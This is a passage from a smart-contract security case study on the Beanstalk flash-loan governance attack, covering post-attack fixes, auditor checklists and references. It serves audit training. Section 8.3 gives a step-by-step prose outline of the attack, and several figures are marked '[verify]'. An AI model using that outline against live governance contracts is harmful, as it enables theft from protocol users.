  • Checkpointed Stalk balances: voting weight reads now used a per-Season snapshot rather than live balance. (Equivalent to OZ’s ERC20Votes.getPastVotes.)
  • Removal of emergencyCommit: the supermajority short-circuit was eliminated. All BIPs went through the full multi-Season commit path.
  • Lengthened proposal eligibility: minimum time from propose to executable was increased; precise numbers documented in BIP-21. [verify]
  • Audit-driven: post-attack, Beanstalk was audited by Halborn (whose post-mortem we reference in §9) and brought additional auditors on board.

6.3 TVL trajectory and protocol fate

Beanstalk did relaunch and continues to operate. However:

  • Pre-attack TVL peak: ~$182M (April 17, 2022).
  • Post-attack low: $0 (April 17, 2022).
  • Post-relaunch TVL trajectory: never recovered to pre-attack levels. By late 2024 / 2025, TVL fluctuated in the low tens of millions. [verify against DefiLlama snapshots]
  • Token price: BEAN’s peg has been restored multiple times but remains structurally fragile compared to overcollateralized peers.

The protocol’s survival is itself notable — most algorithmic stablecoins that lose their full TVL do not relaunch — but the case is a clear demonstration that a governance bug doesn’t just cost the TVL of one event; it permanently impairs the market’s trust in the protocol’s design.

6.4 Industry-level consequences

  • “Beanstalk bug” entered the lexicon. Any audit finding that surfaces voting weight derived from live balance is now tagged with “Beanstalk-class” in firm reports.
  • ERC20Votes adoption accelerated. Pre-Beanstalk, many DAOs ran custom token implementations without checkpoints. Post-Beanstalk, “use ERC20Votes” became a default audit recommendation, and the OZ implementation became the de facto standard.
  • “Emergency commit” patterns were re-audited industry-wide. Many forks of Beanstalk-influenced governance code had similar short-circuit paths; auditors went looking for them.
  • Flash-loan governance attacks became a recognized class. Beanstalk wasn’t the first (MakerDAO had earlier theoretical demonstrations; Maple Finance had a near-miss), but it was the largest and most public. After Beanstalk, every governance audit explicitly answered the question “can voting power be flash-loaned for one block?”
  • The Diamond pattern got more scrutiny. Specifically the auditor’s question: “does diamondCut go through the timelock, or can a malicious BIP install a new facet that executes immediately?” Beanstalk was a worked example of why the answer must be “through the timelock.”

7. Lessons for Auditors

7.1 The “live balance” rule

Any voting weight read that does not pass through a historical checkpoint is a critical-severity finding.

There is no nuance here, no “it depends,” no “but in this case it’s fine because…“. The voting power for proposal P must be looked up at a block that the attacker could not have anticipated when acquiring the underlying asset. The OpenZeppelin pattern (ERC20Votes + Governor._getVotes using getPastVotes(account, proposalSnapshot(P))) is the reference. Any custom implementation that diverges should be treated with suspicion until proven equivalent.

The Beanstalk specific failure was double: (a) voting weight read live, and (b) the underlying asset (Stalk) was itself a derived quantity from yet another live balance (Silo deposits). Both layers needed checkpointing.

7.2 Voting delay alone is insufficient

A common partial fix is to add a voting delay (votingDelay in OZ Governor) — the gap between proposal creation and snapshot block. Beanstalk did have a 1-day equivalent. The lesson here is that voting delay protects the snapshot block from anticipation, but it does nothing for a governance system that doesn’t use snapshots in the first place. If your voting weight read is live, no voting delay helps.

A correctly designed governance system needs all three:

  1. Checkpointed voting power (snapshot defense).
  2. Voting delay (separates proposal-creation block from snapshot block, so attackers can’t precompute and front-run the snapshot).
  3. Execution delay / timelock (gives the community time to react between vote outcome and on-chain effect; allows guardian-cancel).

Beanstalk had #2 (sort of), lacked #1 and #3. The combination was lethal.

7.3 The “can the attacker mint or borrow voting power within the voting period?” question

Whenever you audit a governance system, write this question at the top of the document:

“Within the voting period — including the proposal-creation block and the execution block — can the attacker acquire enough voting power, by any means (mint, borrow, flash-loan, deposit, delegate, claim), to swing the outcome?”

Then answer it for every voting-weight source. Enumerate them:

  • ERC20Votes balance: defended by getPastVotes(account, snapshotBlock).
  • Underlying asset deposit: is the derivation of voting weight from the deposit also snapshotted, or only the deposit ledger? (Beanstalk got this wrong — Stalk was computed live.)
  • NFT-based governance (ENS, etc.): is the NFT transferable mid-vote? Can it be flash-rented via NFT lending?
  • Liquid wrappers (cvxCRV, sdCRV): does the wrapper aggregate votes correctly, and is the aggregation itself snapshotted?
  • Cross-chain governance (Optimism Bedrock, etc.): is the bridge message replayable? Can voting power on chain A be inflated by claims on chain B?

For each one, ask: “what’s the cheapest way to acquire 51% / 66% / quorum-threshold of this weight for one block?” If the answer involves a flash loan and a public pool, you have a finding.

7.4 Emergency paths must be audited as proposal paths

The emergencyCommit short-circuit was a path. It had a different threshold (2/3 instead of simple majority) but the same execution effect (run arbitrary calldata against the Diamond). Auditors who reviewed Beanstalk’s normal commit path and dismissed emergencyCommit as “the emergency fallback, lower priority” missed the bug.

Any function that can execute arbitrary calldata against the protocol is the protocol’s most security-critical function, regardless of whether the path is labeled “normal” or “emergency.” A higher threshold buys nothing if the threshold can be flash-loaned.

7.5 Adversarial-thinking checklist for governance designs

When you sit down with a governance contract, walk through this list:

  • Voting weight source: live balance? Checkpointed? Derived from another asset? Across what library/facet boundary?
  • Snapshot block: at propose time? Propose + delay? Some custom hook?
  • Voting delay: in blocks, in seconds, or in custom epochs (Seasons, days, etc.)? Is it long enough to prevent same-block attacks?
  • Voting period: long enough for community participation?
  • Quorum / threshold: against live total supply, or snapshot total supply? (Beanstalk: live. Bad.)
  • Execution delay: between vote outcome and on-chain effect. Is there one? How long?
  • Emergency paths: enumerate all emergencyCommit-style short-circuits. What’s the threshold? What’s the delay? Can they install new facets / upgrade implementations?
  • Diamond / proxy / module upgrades: does upgrade authority go through the same timelock as other proposals?
  • Guardian / pause role: who holds it? What’s the scope (pause only, or also cancel)?
  • Vote-weight derivation: if voting weight is a derived quantity (Beanstalk’s Stalk from deposits), is the derivation snapshotted, or just the inputs?
  • Off-chain vs on-chain payload: does the front-end / Snapshot UI show the actual on-chain calldata? Or just a human-written description?

If any of these answers concerns you, write the finding. The cost of a “centralization / governance” finding rejected by the team as design intent is zero. The cost of missing a Beanstalk is the protocol.


8. What You Would Have Caught (Pre-Attack Auditor Exercise)

Imagine Beanstalk’s governance facet lands in your audit inbox in March 2022. You have one week. Here’s what should fire on a careful read.

8.1 Immediate fires (under 60 seconds reading the governance facet)

SignalWhy it fires
balanceOfStalk(voter) called inside _canEmergencyCommitLive read. No getPastVotes-style historical lookup. Critical.
totalStalk() called inside _canEmergencyCommitLive total supply. Even if voter balances were snapshotted, the denominator being live still permits manipulation via supply changes mid-vote.
vote(bip) performs no balance check, records only the voter’s addressWeight is assigned at commit time, not vote time. The attacker can vote before having funds, then acquire them.
emergencyCommit executes payload immediately on supermajorityNo post-vote delay. The “1 day eligibility” is between propose and first-eligible-commit, not between vote and execution. The community has zero time to react to a passing vote.
Proposal payload is diamondCut + initializerA successful proposal can install attacker-controlled facets with arbitrary code. The Diamond pattern’s upgrade path is itself the drain primitive.
No CANCELLER_ROLE analogue / no guardian pauseOnce a vote passes, there is no role anywhere in the system that can stop execution.

8.2 Secondary signals (next 30 minutes)

  • Stalk is non-transferable, but is it non-mintable mid-transaction? No — deposit mints Stalk synchronously. So “non-transferable” is decorative; the real question is whether bulk mint is gated by time or quantity. It isn’t.
  • The deposit-vote-withdraw sequence is atomic. Nothing in the contract prevents an attacker from depositing, voting, committing, and withdrawing in the same transaction.
  • Curve LP tokens are accepted as deposits. The whitelisted asset list includes BEAN-3CRV LP, which is mintable from public Curve pools using publicly flash-loanable stablecoins.
  • Diamond upgrade authority is the same as proposal authority. diamondCut is callable by commit/emergencyCommit payloads. There’s no separate timelock between BIP execution and facet installation.
  • Test coverage of emergencyCommit: search the repo. If tests only cover the normal commit path under amicable conditions, the emergency path has not been exercised adversarially.

8.3 The 60-second auditor verdict

“The emergencyCommit function sums balanceOfStalk over voter addresses and compares against totalStalk() — both read from live state. A flash-loaned deposit into the Silo mints Stalk synchronously and is included in the supermajority calculation. Critical: flash-loan governance attack via BEAN-3CRV LP deposit; estimated cost = Aave V2 flash-loan fee (~0.09% of capital); estimated loss = entire Silo TVL. PoC: deploy an attacker contract that (1) submits a malicious BIP, (2) waits 1 day, (3) flash-loans ~$1B from Aave, converts to BEAN-3CRV LP, deposits into the Silo, votes, calls emergencyCommit, withdraws, repays. The deposit-vote-commit-withdraw sequence is atomic; no defense intervenes. Severity: critical (entire TVL at risk). Exploitability: trivial.

That finding, plus a 200-line Foundry PoC of the shape in §5, would have been the report. The patch is conceptually simple (checkpointed Stalk + post-vote execution delay) but architecturally significant for the Diamond — it would have required a BIP to install.

8.4 What this teaches about audit methodology

Beanstalk was reviewed before launch. The bug was not in obscure code; it was on the main governance path. Why was it missed?

  1. The “Stalk is non-transferable” mental model. Reviewers absorbed the team’s framing that Stalk couldn’t be acquired in a market, and stopped one step short of asking “can it be minted synchronously?” The framing was technically true and yet completely misleading for the security question.
  2. Function-level review. propose looks safe. vote looks safe. emergencyCommit’s supermajority looks conservative. The composition with deposit (which mints Stalk in the same transaction) was the bug, and deposit is in a different facet — it doesn’t appear in the governance facet’s source file.
  3. No “adversarial mint” test. Beanstalk’s test suite covered “honest user deposits and votes” extensively. There appears to have been no test of the shape “single transaction: mint billions of Stalk → vote → emergencyCommit → drain”. A targeted Echidna or Foundry-fuzzing pass with the invariant “no single block can change totalStalk by more than X%” would have caught this.
  4. Diamond complexity disguised the surface. With 20+ facets and LibSilo, LibTokenSilo, LibGovernance cross-references, no single file showed the full attack flow. Modern audits of Diamonds use cross-facet call-graph tooling (e.g., Sourcify-based mappers) to surface these compositions.

The methodological lesson: map every state-changing function across all facets; for every “voting weight” read, trace the value’s provenance back to its primary mint/burn site; ask “what’s the smallest set of transactions that can change this quantity by 2/3 of its total?“


9. References

Primary post-mortems and analyses

Source code

Etherscan key addresses

  • Beanstalk Diamond: 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5
  • Attacker contract (orchestrator): 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4 [verify against Etherscan tag]
  • Attacker EOA (deployer, funded via Tornado Cash): 0x79224bC0bf70EC34F0ef56ed8251619499a59dEf [verify]
  • Ukraine relief wallet (recipient of attacker’s donation): 0x165CD37b4C644C2921454429E7F9358d18A45e14
  • Aave V2 LendingPool (primary flash-loan source): 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9

Governance-defense references

Wider context — algorithmic stablecoin attacks

EIP and standard references


Last updated: 2026-05-16 See also: Tuan-14-Governance-DAO-Security · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-Manipulation-MEV · Case-The-DAO-Reentrancy-2016 · Case-Tornado-Cash-Governance-2023 · Case-Euler-Finance-2023 · audit-checklist-master · Roadmap · References